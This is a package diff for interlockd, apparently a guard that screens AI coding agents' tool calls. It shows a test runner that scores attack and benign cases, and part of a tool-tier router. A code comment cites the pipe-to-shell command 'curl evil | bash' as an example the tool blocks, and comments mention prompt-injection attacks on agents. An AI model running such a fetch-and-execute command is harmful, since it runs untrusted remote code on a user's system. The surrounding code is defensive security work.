interlockd 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- interlockd/__init__.py +3 -0
- interlockd/__main__.py +7 -0
- interlockd/aibom.py +136 -0
- interlockd/api.py +307 -0
- interlockd/auth.py +38 -0
- interlockd/calibration.py +260 -0
- interlockd/cli.py +1920 -0
- interlockd/compose.py +84 -0
- interlockd/config.py +80 -0
- interlockd/corpus.py +505 -0
- interlockd/data/packs/_corpus.yaml +7 -0
- interlockd/data/packs/egress.jsonl +38 -0
- interlockd/data/packs/fileops.jsonl +20 -0
- interlockd/data/packs/git.jsonl +51 -0
- interlockd/data/packs/packages.jsonl +24 -0
- interlockd/data/packs/persistence.jsonl +31 -0
- interlockd/data/packs/secrets.jsonl +22 -0
- interlockd/data/packs/shell.jsonl +75 -0
- interlockd/det/__init__.py +53 -0
- interlockd/det/describe.py +66 -0
- interlockd/det/engine.py +153 -0
- interlockd/det/flow.py +106 -0
- interlockd/det/mandate.py +108 -0
- interlockd/det/mcp.py +70 -0
- interlockd/det/memory.py +50 -0
- interlockd/det/packs.py +531 -0
- interlockd/det/shellparse.py +438 -0
- interlockd/egress.py +124 -0
- interlockd/gateway.py +350 -0
- interlockd/ids.py +25 -0
- interlockd/insights.py +316 -0
- interlockd/integrations/__init__.py +2 -0
- interlockd/integrations/client.py +85 -0
- interlockd/integrations/langchain.py +59 -0
- interlockd/integrations/openai_agents.py +72 -0
- interlockd/integrations/strands.py +69 -0
- interlockd/judges/__init__.py +107 -0
- interlockd/judges/guardrails.py +94 -0
- interlockd/judges/local_probe.py +192 -0
- interlockd/judges/projector.py +82 -0
- interlockd/judges/strands_decider.py +160 -0
- interlockd/ledger.py +62 -0
- interlockd/mcp_http.py +216 -0
- interlockd/mcp_proxy.py +315 -0
- interlockd/mcp_server.py +211 -0
- interlockd/models.py +98 -0
- interlockd/normalize/__init__.py +1 -0
- interlockd/normalize/claude_code.py +89 -0
- interlockd/normalize/cursor.py +59 -0
- interlockd/normalize/gemini_cli.py +55 -0
- interlockd/normalize/kiro.py +65 -0
- interlockd/normalize/more.py +98 -0
- interlockd/ogr.py +542 -0
- interlockd/onboard.py +300 -0
- interlockd/otel.py +139 -0
- interlockd/paths.py +63 -0
- interlockd/pipeline.py +370 -0
- interlockd/policy/__init__.py +220 -0
- interlockd/policy_lint.py +76 -0
- interlockd/render.py +142 -0
- interlockd/sandbox.py +87 -0
- interlockd/scan.py +405 -0
- interlockd/schema/verdict.schema.json +68 -0
- interlockd/selftest.py +101 -0
- interlockd/service.py +247 -0
- interlockd/shims/claude-code/interlock-hook.sh +113 -0
- interlockd/shims/kiro/interlock-hook.mjs +101 -0
- interlockd/shims/kiro/interlock-hook.sh +82 -0
- interlockd/shims/opencode/interlock.js +60 -0
- interlockd/store/__init__.py +22 -0
- interlockd/store/drainer.py +74 -0
- interlockd/store/dynamodb.py +144 -0
- interlockd/store/memory.py +28 -0
- interlockd/store/spool.py +159 -0
- interlockd/testkit.py +401 -0
- interlockd/tiers.py +95 -0
- interlockd/transcript/__init__.py +1 -0
- interlockd/transcript/claude_code.py +73 -0
- interlockd/transcript/kiro.py +102 -0
- interlockd-0.1.0.dist-info/METADATA +125 -0
- interlockd-0.1.0.dist-info/RECORD +84 -0
- interlockd-0.1.0.dist-info/WHEEL +4 -0
- interlockd-0.1.0.dist-info/entry_points.txt +2 -0
- interlockd-0.1.0.dist-info/licenses/LICENSE +201 -0
interlockd/testkit.py
ADDED
|
@@ -0,0 +1,401 @@
|
|
|
1
|
+
"""Shared corpus runner for the deterministic layers (design §6, evaluation).
|
|
2
|
+
|
|
3
|
+
One place that turns a corpus case into a decision, used by both `interlock test` (the CLI
|
|
4
|
+
command) and `tests/test_packs.py` (pytest), so the two never drift. It runs a case through the
|
|
5
|
+
real deterministic path — normalize → tier route → deterministic engine → mandate → compose
|
|
6
|
+
(policy) — exactly as `Daemon.decide` does for a gated pre-action call, but WITHOUT the judge.
|
|
7
|
+
|
|
8
|
+
Two dispositions come out of a case and they are different on purpose. `decision` is the raw
|
|
9
|
+
deterministic engine decision (block|ask|model|flag|allow) and is what the corpus `expect` labels
|
|
10
|
+
mean. `enforced` is what the composer would actually enforce without a judge (it collapses `model`
|
|
11
|
+
and `flag` to `allow`, since a model-routed rule defers to the judge). FPR/FNR are computed on the
|
|
12
|
+
engine decision so that a benign case routed to the judge is not scored as a hard false positive,
|
|
13
|
+
and an attack correctly escalated to the judge is not scored as a miss of the deterministic layer.
|
|
14
|
+
|
|
15
|
+
Judge seam: `model`-routed rules surface as the deterministic disposition "model"; a case may
|
|
16
|
+
carry `judge` labels (expected answers to intent questions) which this runner records as pending
|
|
17
|
+
and does not score. The next step wires a `DecisionBackend` in behind `score_judge=True`.
|
|
18
|
+
A judge-only attack — one that expects `allow` deterministically but carries `judge` labels (e.g.
|
|
19
|
+
reading a file the user never asked for, which only an intent judge can flag) — is deferred to that
|
|
20
|
+
step and is NOT counted as a deterministic false negative, so it never trips an FNR gate on a
|
|
21
|
+
judge-scored category such as security.prompt_injection.
|
|
22
|
+
|
|
23
|
+
Case schema (interlockd/data/packs/*.jsonl, one JSON object per line):
|
|
24
|
+
id unique case id (required)
|
|
25
|
+
cmd shell command string } one of cmd / (tool+args) required
|
|
26
|
+
tool,args explicit tool name + arguments }
|
|
27
|
+
expect block | ask | model | allow (required; the deterministic disposition)
|
|
28
|
+
rules rule ids that MUST fire (optional)
|
|
29
|
+
not_rules rule ids that must NOT fire; "*" means no finding at all (optional)
|
|
30
|
+
manifest {filename: content} written to the workspace root before evaluation (optional)
|
|
31
|
+
result the untrusted tool output the post-action injection probe reads (optional; string)
|
|
32
|
+
tier expected tier 0|1|2 (optional)
|
|
33
|
+
label "attack" | "benign" (optional; inferred from expect when absent)
|
|
34
|
+
category OGR category this case belongs to (optional; inferred from the expected rules)
|
|
35
|
+
judge {question_id: expected_noul} (optional; recorded, not scored in this step)
|
|
36
|
+
|
|
37
|
+
A corpus directory may also contain an optional `_corpus.yaml` declaring the trust context its cases
|
|
38
|
+
were authored against (`trust: {allowed_git_remotes: [...], ...}`), read by `load_corpus_trust`.
|
|
39
|
+
"""
|
|
40
|
+
|
|
41
|
+
from __future__ import annotations
|
|
42
|
+
|
|
43
|
+
import json
|
|
44
|
+
from dataclasses import dataclass, field
|
|
45
|
+
from pathlib import Path
|
|
46
|
+
|
|
47
|
+
import yaml
|
|
48
|
+
|
|
49
|
+
from .compose import compose
|
|
50
|
+
from .det import RULES
|
|
51
|
+
from .det.engine import evaluate as det_evaluate
|
|
52
|
+
from .det.mandate import evaluate_mandate
|
|
53
|
+
from .judges import QUESTIONS_V1, BackendError
|
|
54
|
+
from .judges.projector import project_confirmation, project_intent, project_probe
|
|
55
|
+
from .models import AdapterInfo, Context, Identity, InterlockEvent, ToolCall
|
|
56
|
+
from .policy import Policy
|
|
57
|
+
from .tiers import route
|
|
58
|
+
|
|
59
|
+
# A benign case is one that should end in "allow"; everything else is an attack/escalation case.
|
|
60
|
+
BENIGN = "allow"
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
@dataclass
|
|
64
|
+
class CaseResult:
|
|
65
|
+
case_id: str
|
|
66
|
+
pack: str
|
|
67
|
+
expect: str
|
|
68
|
+
decision: str # raw engine decision: block|ask|model|flag|allow (compared to expect)
|
|
69
|
+
enforced: str = "allow" # composed disposition without a judge (model/flag -> allow)
|
|
70
|
+
fired: set[str] = field(default_factory=set)
|
|
71
|
+
expected_rules: list[str] = field(default_factory=list)
|
|
72
|
+
forbidden_rules: list[str] = field(default_factory=list)
|
|
73
|
+
tier: int | None = None
|
|
74
|
+
expected_tier: int | None = None
|
|
75
|
+
label: str = "benign" # attack|benign
|
|
76
|
+
category: str = "" # OGR category for per-category rates
|
|
77
|
+
judge_pending: dict[str, float] = field(default_factory=dict)
|
|
78
|
+
errors: list[str] = field(default_factory=list)
|
|
79
|
+
|
|
80
|
+
@property
|
|
81
|
+
def disposition_ok(self) -> bool:
|
|
82
|
+
return self.decision == self.expect
|
|
83
|
+
|
|
84
|
+
@property
|
|
85
|
+
def rules_ok(self) -> bool:
|
|
86
|
+
return not self.errors
|
|
87
|
+
|
|
88
|
+
@property
|
|
89
|
+
def ok(self) -> bool:
|
|
90
|
+
return self.disposition_ok and self.rules_ok and (
|
|
91
|
+
self.expected_tier is None or self.tier == self.expected_tier)
|
|
92
|
+
|
|
93
|
+
# A false positive: a benign case the deterministic layer hard-escalated (block or ask).
|
|
94
|
+
# A `model`/`flag` route on a benign case is not an FP — it defers to the judge, scored later.
|
|
95
|
+
@property
|
|
96
|
+
def false_positive(self) -> bool:
|
|
97
|
+
return self.label == "benign" and self.decision in ("block", "ask")
|
|
98
|
+
|
|
99
|
+
# A false negative: an attack case the deterministic layer let through (allow/flag/none).
|
|
100
|
+
# A `model` route is NOT a miss — the attack was correctly escalated to the (out-of-scope) judge.
|
|
101
|
+
# A judge-only attack (expects `allow` deterministically AND carries judge labels) is also NOT a
|
|
102
|
+
# deterministic miss: it is undetectable without intent/injection judgement by design (e.g. reading a
|
|
103
|
+
# file the user did not ask for). It is scored in the judge step, not here, so it must not inflate the
|
|
104
|
+
# deterministic FNR or trip a gate on a judge-only category like security.prompt_injection.
|
|
105
|
+
@property
|
|
106
|
+
def false_negative(self) -> bool:
|
|
107
|
+
if self.label != "attack" or self.decision not in ("allow", "flag", None):
|
|
108
|
+
return False
|
|
109
|
+
judge_only = self.expect == "allow" and bool(self.judge_pending)
|
|
110
|
+
return not judge_only
|
|
111
|
+
|
|
112
|
+
|
|
113
|
+
def load_cases(*dirs: Path) -> list[dict]:
|
|
114
|
+
"""Load every *.jsonl case from the given directories (default: interlockd/data/packs). `pack` = file stem."""
|
|
115
|
+
out: list[dict] = []
|
|
116
|
+
for d in dirs:
|
|
117
|
+
for f in sorted(Path(d).glob("*.jsonl")):
|
|
118
|
+
for lineno, line in enumerate(f.read_text().splitlines(), 1):
|
|
119
|
+
if not line.strip():
|
|
120
|
+
continue
|
|
121
|
+
try:
|
|
122
|
+
c = json.loads(line)
|
|
123
|
+
except json.JSONDecodeError as e:
|
|
124
|
+
raise ValueError(f"{f}:{lineno}: invalid JSON: {e}") from e
|
|
125
|
+
c.setdefault("pack", f.stem)
|
|
126
|
+
out.append(c)
|
|
127
|
+
return out
|
|
128
|
+
|
|
129
|
+
|
|
130
|
+
def default_corpus_dir() -> Path:
|
|
131
|
+
"""The shipped pack corpus (interlockd/data/packs), so `interlock test` works from an installed wheel."""
|
|
132
|
+
return Path(__file__).resolve().parent / "data" / "packs"
|
|
133
|
+
|
|
134
|
+
|
|
135
|
+
def load_corpus_trust(*dirs: Path) -> dict:
|
|
136
|
+
"""Read optional `_corpus.yaml` trust assumptions from each corpus directory and merge them.
|
|
137
|
+
|
|
138
|
+
A corpus declares the trust context its cases were authored against (e.g. which git remotes count
|
|
139
|
+
as allowed) so those assumptions live WITH the corpus, not hardcoded in the shipped runner. Shape:
|
|
140
|
+
trust:
|
|
141
|
+
allowed_git_remotes: ["github.com/org/*"]
|
|
142
|
+
allowed_hosts: [...] # any Trust field is accepted
|
|
143
|
+
Later directories win on a key. Returns the merged `trust` mapping ({} when no file is present)."""
|
|
144
|
+
merged: dict = {}
|
|
145
|
+
for d in dirs:
|
|
146
|
+
f = Path(d) / "_corpus.yaml"
|
|
147
|
+
if f.exists():
|
|
148
|
+
data = yaml.safe_load(f.read_text()) or {}
|
|
149
|
+
merged.update(data.get("trust") or {})
|
|
150
|
+
return merged
|
|
151
|
+
|
|
152
|
+
|
|
153
|
+
def make_policy(workspace: str, base: Policy | None = None, *, corpus_trust: dict | None = None) -> Policy:
|
|
154
|
+
"""Policy for a corpus run. Defaults match the pack corpus' trust assumptions; a caller may
|
|
155
|
+
pass its own loaded policy (so `interlock test` honors the user's overrides and `tests:` gates).
|
|
156
|
+
|
|
157
|
+
The base policy is deep-copied so each case gets its own `workspace_roots` (the per-case temp dir)
|
|
158
|
+
without mutating the caller's shared policy object across cases. `corpus_trust` (from the corpus'
|
|
159
|
+
own `_corpus.yaml`) applies trust fields the base policy left at Interlock's DEFAULT value — so a
|
|
160
|
+
corpus can declare its own allowed remotes/hosts, but a value the caller set explicitly (e.g. via
|
|
161
|
+
`--policy`) is never clobbered. Compared against a fresh `Policy()` to tell "default" from "set"."""
|
|
162
|
+
p = base.model_copy(deep=True) if base is not None else Policy()
|
|
163
|
+
# Each case runs in its own temp workspace; the root must point there regardless of the base.
|
|
164
|
+
p.trust.workspace_roots = [workspace]
|
|
165
|
+
default_trust = Policy().trust
|
|
166
|
+
for key, value in (corpus_trust or {}).items():
|
|
167
|
+
# Apply only where the base policy still holds Interlock's default for that field.
|
|
168
|
+
if hasattr(p.trust, key) and getattr(p.trust, key) == getattr(default_trust, key):
|
|
169
|
+
setattr(p.trust, key, value)
|
|
170
|
+
return p
|
|
171
|
+
|
|
172
|
+
|
|
173
|
+
def _infer_category(expected_rules: list[str]) -> str:
|
|
174
|
+
for r in expected_rules:
|
|
175
|
+
meta = RULES.get(r)
|
|
176
|
+
if meta:
|
|
177
|
+
return meta[0]
|
|
178
|
+
return ""
|
|
179
|
+
|
|
180
|
+
|
|
181
|
+
def run_case(case: dict, ws: Path, *, policy: Policy | None = None, corpus_trust: dict | None = None) -> CaseResult:
|
|
182
|
+
"""Run one case through the full deterministic pipeline (no judge). Pure; writes only under `ws`."""
|
|
183
|
+
pol = make_policy(str(ws), base=policy, corpus_trust=corpus_trust)
|
|
184
|
+
for name, content in (case.get("manifest") or {}).items():
|
|
185
|
+
target = ws / name
|
|
186
|
+
target.parent.mkdir(parents=True, exist_ok=True)
|
|
187
|
+
target.write_text(content)
|
|
188
|
+
|
|
189
|
+
if "cmd" in case:
|
|
190
|
+
tool, args = "execute_bash", {"command": case["cmd"]}
|
|
191
|
+
elif "tool" in case:
|
|
192
|
+
tool, args = case["tool"], case.get("args", {})
|
|
193
|
+
else:
|
|
194
|
+
return CaseResult(case_id=case.get("id", "?"), pack=case.get("pack", "?"), expect=case.get("expect", "allow"),
|
|
195
|
+
decision="allow", errors=["case has neither 'cmd' nor 'tool'"])
|
|
196
|
+
|
|
197
|
+
ev = InterlockEvent(kind="pre_action", adapter=AdapterInfo(name="test"), identity=Identity(agent_type="test"),
|
|
198
|
+
tool_call=ToolCall(name=tool, arguments=args), context=Context(cwd=str(ws)))
|
|
199
|
+
tier = route(ev, workspace_roots=pol.trust.workspace_roots, protected=pol.trust.protected_paths,
|
|
200
|
+
sensitive=pol.trust.sensitive_paths)
|
|
201
|
+
|
|
202
|
+
expected_rules = list(case.get("rules", []))
|
|
203
|
+
forbidden = list(case.get("not_rules", []))
|
|
204
|
+
label = case.get("label") or ("benign" if case.get("expect") == BENIGN else "attack")
|
|
205
|
+
category = case.get("category") or _infer_category(expected_rules)
|
|
206
|
+
res = CaseResult(
|
|
207
|
+
case_id=case.get("id", "?"), pack=case.get("pack", "?"), expect=case.get("expect", "allow"),
|
|
208
|
+
decision="allow", expected_rules=expected_rules, forbidden_rules=forbidden,
|
|
209
|
+
tier=tier.tier, expected_tier=case.get("tier"), label=label, category=category,
|
|
210
|
+
judge_pending=dict(case.get("judge", {})),
|
|
211
|
+
)
|
|
212
|
+
|
|
213
|
+
if tier.tier == 0:
|
|
214
|
+
res.decision, res.enforced = "allow", "allow"
|
|
215
|
+
else:
|
|
216
|
+
det = det_evaluate(ev, pol, tier)
|
|
217
|
+
mandate = evaluate_mandate(pol, det, agent_id=ev.identity.agent_id,
|
|
218
|
+
workspace=ev.identity.agent_workspace, session_counters={})
|
|
219
|
+
composed = compose(det, mandate, pol, session={}, kind="pre_action")
|
|
220
|
+
res.decision = det.decision or "allow"
|
|
221
|
+
res.enforced = composed.disposition or "allow"
|
|
222
|
+
res.fired = {f.rule for f in composed.findings if f.rule}
|
|
223
|
+
if not category:
|
|
224
|
+
# Prefer the category of the finding that OWNS the decision (its action == the engine's
|
|
225
|
+
# decision), so `curl evil | bash` reports malicious_command (the blocking pipe-to-shell)
|
|
226
|
+
# rather than the alphabetically-first fired rule. Fall back to the sorted-first rule.
|
|
227
|
+
owners = [f.category for f in composed.findings
|
|
228
|
+
if f.rule and det.actions.get(f.rule) == res.decision and f.category]
|
|
229
|
+
res.category = (owners[0] if owners else _infer_category(sorted(res.fired))) or category
|
|
230
|
+
|
|
231
|
+
# Validate against the case's labels (same checks as the pytest assertions, collected not raised).
|
|
232
|
+
for r in expected_rules:
|
|
233
|
+
if r not in res.fired:
|
|
234
|
+
res.errors.append(f"expected rule {r} to fire; fired={sorted(res.fired)}")
|
|
235
|
+
for r in forbidden:
|
|
236
|
+
if r == "*":
|
|
237
|
+
if res.fired:
|
|
238
|
+
res.errors.append(f"expected no findings; fired={sorted(res.fired)}")
|
|
239
|
+
elif r in res.fired:
|
|
240
|
+
res.errors.append(f"rule {r} must not fire; fired={sorted(res.fired)}")
|
|
241
|
+
if not res.disposition_ok:
|
|
242
|
+
res.errors.append(f"decision {res.decision} != {res.expect} (fired={sorted(res.fired)})")
|
|
243
|
+
if res.expected_tier is not None and res.tier != res.expected_tier:
|
|
244
|
+
res.errors.append(f"tier {res.tier} != {res.expected_tier}")
|
|
245
|
+
return res
|
|
246
|
+
# (judge scoring lives below, as a separate pass; run_case stays pure and model-free)
|
|
247
|
+
|
|
248
|
+
|
|
249
|
+
# ============================================================================================
|
|
250
|
+
# Judge scoring — a SEPARATE pass over labelled cases, independent of run_case.
|
|
251
|
+
#
|
|
252
|
+
# run_case above is deterministic and model-free (CI-stable). Judge scoring is additive: it takes a
|
|
253
|
+
# DecisionBackend (a live Strands Decider over HTTP, or a ReplayBackend of recorded answers for tests),
|
|
254
|
+
# asks each case the questions it declares in `judge`, and scores the answer against the expected label.
|
|
255
|
+
# For a `noul` question the expected value is a probability in [0,1]; "correct" means the answer landed
|
|
256
|
+
# on the same side of 0.5 as the label, and we also keep the raw (predicted_prob, truth_bit) pair so the
|
|
257
|
+
# calibration module can fit bands and compute ECE. For a `choice` question we score exact-match.
|
|
258
|
+
# ============================================================================================
|
|
259
|
+
|
|
260
|
+
|
|
261
|
+
|
|
262
|
+
@dataclass
|
|
263
|
+
class JudgeScore:
|
|
264
|
+
case_id: str
|
|
265
|
+
question_id: str
|
|
266
|
+
expected: float | str # the case's label (noul prob, or choice string)
|
|
267
|
+
predicted: float | str | None # the backend's answer (noul prob, or choice string); None if unjudged
|
|
268
|
+
correct: bool = False
|
|
269
|
+
unjudged: bool = False
|
|
270
|
+
kind: str = "noul" # noul | choice
|
|
271
|
+
|
|
272
|
+
@property
|
|
273
|
+
def truth_bit(self) -> int:
|
|
274
|
+
"""For a noul question, the label as a 0/1 ground-truth (>=0.5 -> 1)."""
|
|
275
|
+
return 1 if isinstance(self.expected, (int, float)) and self.expected >= 0.5 else 0
|
|
276
|
+
|
|
277
|
+
|
|
278
|
+
@dataclass
|
|
279
|
+
class JudgeReport:
|
|
280
|
+
scores: list[JudgeScore] = field(default_factory=list)
|
|
281
|
+
cases_scored: int = 0
|
|
282
|
+
questions_asked: int = 0
|
|
283
|
+
unjudged: int = 0
|
|
284
|
+
|
|
285
|
+
def noul_pairs(self, question_id: str | None = None) -> list[tuple[float, int]]:
|
|
286
|
+
"""(predicted_prob, truth_bit) pairs for noul questions — the input to calibration."""
|
|
287
|
+
out = []
|
|
288
|
+
for s in self.scores:
|
|
289
|
+
if (s.kind == "noul" and not s.unjudged and isinstance(s.predicted, (int, float))
|
|
290
|
+
and (question_id is None or s.question_id == question_id)):
|
|
291
|
+
out.append((float(s.predicted), s.truth_bit))
|
|
292
|
+
return out
|
|
293
|
+
|
|
294
|
+
def accuracy(self, question_id: str | None = None) -> float | None:
|
|
295
|
+
rel = [s for s in self.scores if not s.unjudged and (question_id is None or s.question_id == question_id)]
|
|
296
|
+
return (sum(s.correct for s in rel) / len(rel)) if rel else None
|
|
297
|
+
|
|
298
|
+
|
|
299
|
+
def _project_for_question(event: InterlockEvent, qid: str, det) -> dict:
|
|
300
|
+
"""Build the same state the daemon would send for this question (intent/confirmation vs probe)."""
|
|
301
|
+
if qid in ("injection_present", "injection_targets_action"):
|
|
302
|
+
state, _ = project_probe(event, max_untrusted_tokens=3000)
|
|
303
|
+
return state
|
|
304
|
+
if qid == "confirmation_given":
|
|
305
|
+
# Mirror production (pipeline._confirm_via_transcript): the confirmation judge sees a dedicated
|
|
306
|
+
# projection — what the agent asked permission for, why it was held, and only the user messages
|
|
307
|
+
# SINCE the ask — not the full intent projection. Derive `reason` from the deterministic findings
|
|
308
|
+
# exactly as production does, so calibration measures the state that actually ships.
|
|
309
|
+
findings = det.findings if det else []
|
|
310
|
+
reason = "; ".join(f.subject or f.category for f in findings[:3]) or None
|
|
311
|
+
return project_confirmation(event, normalized=(det.normalized if det else {}), reason=reason)
|
|
312
|
+
# intent_authorized / exfil_risk read user messages + the structured action
|
|
313
|
+
return project_intent(event, normalized=(det.normalized if det else {}),
|
|
314
|
+
prior_calls=[], max_tokens=1000)
|
|
315
|
+
|
|
316
|
+
|
|
317
|
+
def _event_from_case(case: dict, ws: Path):
|
|
318
|
+
"""Reconstruct the InterlockEvent for a case, including transcript→user_messages and manifest→result.
|
|
319
|
+
Mirrors run_case's construction so the judge sees what the gate would at decision time."""
|
|
320
|
+
from .models import ToolResult, UserMessage
|
|
321
|
+
|
|
322
|
+
if "cmd" in case:
|
|
323
|
+
tool, args = "execute_bash", {"command": case["cmd"]}
|
|
324
|
+
else:
|
|
325
|
+
tool, args = case.get("tool", ""), case.get("args", {})
|
|
326
|
+
user_messages = None
|
|
327
|
+
tx = case.get("transcript")
|
|
328
|
+
if tx:
|
|
329
|
+
msgs = [UserMessage(n=i + 1, text=t.get("text", "")) for i, t in enumerate(tx) if t.get("role") == "user"]
|
|
330
|
+
user_messages = msgs or None
|
|
331
|
+
ev = InterlockEvent(kind="pre_action", adapter=AdapterInfo(name="test"), identity=Identity(agent_type="test"),
|
|
332
|
+
tool_call=ToolCall(name=tool, arguments=args),
|
|
333
|
+
context=Context(cwd=str(ws), user_messages=user_messages))
|
|
334
|
+
# The untrusted content the post-action probe reads is the explicit `result` field. (A deprecated
|
|
335
|
+
# fallback matches a manifest value by key name, for any pre-migration case; new cases set `result`.)
|
|
336
|
+
untrusted = case.get("result")
|
|
337
|
+
if not isinstance(untrusted, str):
|
|
338
|
+
manifest = case.get("manifest") or {}
|
|
339
|
+
untrusted = next((v for k, v in manifest.items() if isinstance(v, str) and any(
|
|
340
|
+
s in k for s in ("injected", "tool_output", "observation", "tool_result"))), None)
|
|
341
|
+
if isinstance(untrusted, str) and untrusted:
|
|
342
|
+
ev.result = ToolResult(content=untrusted)
|
|
343
|
+
return ev
|
|
344
|
+
|
|
345
|
+
|
|
346
|
+
def score_judge(cases: list[dict], backend, ws_root: Path, *, policy: Policy | None = None,
|
|
347
|
+
corpus_trust: dict | None = None, timeout_ms: int = 2000) -> JudgeReport:
|
|
348
|
+
"""Score the judge against every case that carries `judge` labels. Pure w.r.t. the filesystem beyond
|
|
349
|
+
the per-case temp workspace. A BackendError on a case marks that question `unjudged` (never fatal),
|
|
350
|
+
exactly as the daemon records it when the model is unreachable."""
|
|
351
|
+
report = JudgeReport()
|
|
352
|
+
for i, case in enumerate(cases):
|
|
353
|
+
labels = case.get("judge") or {}
|
|
354
|
+
if not labels:
|
|
355
|
+
continue
|
|
356
|
+
ws = ws_root / f"j{i}"
|
|
357
|
+
ws.mkdir(parents=True, exist_ok=True)
|
|
358
|
+
for name, content in (case.get("manifest") or {}).items():
|
|
359
|
+
if isinstance(content, str):
|
|
360
|
+
(ws / name).parent.mkdir(parents=True, exist_ok=True)
|
|
361
|
+
(ws / name).write_text(content)
|
|
362
|
+
# a deterministic pass gives us normalized structure for the intent projection
|
|
363
|
+
det = None
|
|
364
|
+
try:
|
|
365
|
+
ev = _event_from_case(case, ws)
|
|
366
|
+
pol = make_policy(str(ws), base=policy, corpus_trust=corpus_trust)
|
|
367
|
+
tier = route(ev, workspace_roots=pol.trust.workspace_roots, protected=pol.trust.protected_paths,
|
|
368
|
+
sensitive=pol.trust.sensitive_paths)
|
|
369
|
+
if tier.tier > 0:
|
|
370
|
+
det = det_evaluate(ev, pol, tier)
|
|
371
|
+
except Exception: # noqa: BLE001 — projection is best-effort; a bad case still gets asked with minimal state
|
|
372
|
+
ev = _event_from_case(case, ws)
|
|
373
|
+
report.cases_scored += 1
|
|
374
|
+
for qid, expected in labels.items():
|
|
375
|
+
q = QUESTIONS_V1.get(qid)
|
|
376
|
+
if q is None:
|
|
377
|
+
continue
|
|
378
|
+
kind = q.get("type", "noul")
|
|
379
|
+
state = _project_for_question(ev, qid, det)
|
|
380
|
+
report.questions_asked += 1
|
|
381
|
+
try:
|
|
382
|
+
res = backend.ask(state, {qid: q}, timeout_ms=timeout_ms)
|
|
383
|
+
ans = res.answers.get(qid, {})
|
|
384
|
+
except BackendError:
|
|
385
|
+
report.unjudged += 1
|
|
386
|
+
report.scores.append(JudgeScore(case["id"], qid, expected, None, unjudged=True, kind=kind))
|
|
387
|
+
continue
|
|
388
|
+
if kind == "noul":
|
|
389
|
+
pred = ans.get("noul")
|
|
390
|
+
if not isinstance(pred, (int, float)):
|
|
391
|
+
report.unjudged += 1
|
|
392
|
+
report.scores.append(JudgeScore(case["id"], qid, expected, None, unjudged=True, kind=kind))
|
|
393
|
+
continue
|
|
394
|
+
exp = float(expected) if isinstance(expected, (int, float)) else 0.0
|
|
395
|
+
correct = (pred >= 0.5) == (exp >= 0.5)
|
|
396
|
+
report.scores.append(JudgeScore(case["id"], qid, exp, float(pred), correct=correct, kind="noul"))
|
|
397
|
+
else: # choice
|
|
398
|
+
pred = ans.get("choice")
|
|
399
|
+
correct = (pred == expected)
|
|
400
|
+
report.scores.append(JudgeScore(case["id"], qid, expected, pred, correct=correct, kind="choice"))
|
|
401
|
+
return report
|
interlockd/tiers.py
ADDED
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
"""Tier router (design §4.3): read-only, in-workspace mutation, or gated.
|
|
2
|
+
|
|
3
|
+
Tool-name tables cover Kiro's built-in tools and the Claude Code / Codex names the later adapters send.
|
|
4
|
+
Unknown tools are gated. Reads of sensitive paths are promoted to the gated tier.
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
from __future__ import annotations
|
|
8
|
+
|
|
9
|
+
from dataclasses import dataclass, field
|
|
10
|
+
from typing import Any
|
|
11
|
+
|
|
12
|
+
from .models import InterlockEvent
|
|
13
|
+
from .paths import is_protected, is_sensitive, is_under, normalize_path
|
|
14
|
+
|
|
15
|
+
HARNESS_TOOLS = {
|
|
16
|
+
"todo_list", "update_session_information", "create_artifact", "user_input", "validate_spec_format",
|
|
17
|
+
"analyze_requirements", "disclose_context", "kiro_powers", "fetch_cloud_config",
|
|
18
|
+
}
|
|
19
|
+
READ_ONLY_TOOLS = {
|
|
20
|
+
"read_file", "read_code", "grep_search", "file_search", "list_directory", "fs_read", "read", "list_dir",
|
|
21
|
+
"Read", "Grep", "Glob", "LS",
|
|
22
|
+
"read_many_files", "glob", "search_file_content", # Gemini CLI
|
|
23
|
+
}
|
|
24
|
+
IN_WORKSPACE_WRITE_TOOLS = {
|
|
25
|
+
"fs_write", "str_replace", "fs_append", "write", "smart_relocate", "create_file",
|
|
26
|
+
"Write", "Edit", "MultiEdit", "NotebookEdit", "apply_patch",
|
|
27
|
+
"write_file", "replace", # Gemini CLI
|
|
28
|
+
"edit", "patch", "multiedit", # OpenCode (write and read are shared)
|
|
29
|
+
}
|
|
30
|
+
DESTRUCTIVE_TOOLS = {"delete_file", "remove_file", "Delete"}
|
|
31
|
+
SHELL_TOOLS = {"execute_bash", "shell", "Bash", "PowerShell", "control_bash_process", "exec_command",
|
|
32
|
+
"Shell", "run_shell_command", "bash", "powershell"} # Cursor, Gemini CLI, Copilot CLI
|
|
33
|
+
NETWORK_TOOLS = {"web_fetch", "remote_web_search", "WebFetch", "WebSearch", "web_search", "google_web_search", "webfetch",
|
|
34
|
+
"net_connect"} # net_connect: the egress proxy
|
|
35
|
+
SUBAGENT_TOOLS = {"invoke_sub_agent", "Task", "spawn_agent"}
|
|
36
|
+
|
|
37
|
+
PATH_KEYS = ("path", "file_path", "filePath", "target", "destination", "source", "notebook_path")
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
@dataclass
|
|
41
|
+
class TierResult:
|
|
42
|
+
tier: int
|
|
43
|
+
action_class: str
|
|
44
|
+
reason: str
|
|
45
|
+
paths: list[str] = field(default_factory=list)
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
def _paths_from_args(args: dict[str, Any], cwd: str | None) -> list[str]:
|
|
49
|
+
out: list[str] = []
|
|
50
|
+
for k in PATH_KEYS:
|
|
51
|
+
v = args.get(k)
|
|
52
|
+
if isinstance(v, str) and v:
|
|
53
|
+
out.append(normalize_path(v, cwd))
|
|
54
|
+
return out
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
def route(event: InterlockEvent, *, workspace_roots: list[str], protected: list[str], sensitive: list[str]) -> TierResult:
|
|
58
|
+
name = event.tool_call.name
|
|
59
|
+
args = event.tool_call.arguments
|
|
60
|
+
cwd = event.context.cwd
|
|
61
|
+
roots = workspace_roots or ([cwd] if cwd else [])
|
|
62
|
+
|
|
63
|
+
if name in HARNESS_TOOLS:
|
|
64
|
+
return TierResult(0, "harness", "harness-internal tool")
|
|
65
|
+
|
|
66
|
+
if name in READ_ONLY_TOOLS:
|
|
67
|
+
paths = _paths_from_args(args, cwd)
|
|
68
|
+
hot = [p for p in paths if is_sensitive(p, sensitive)]
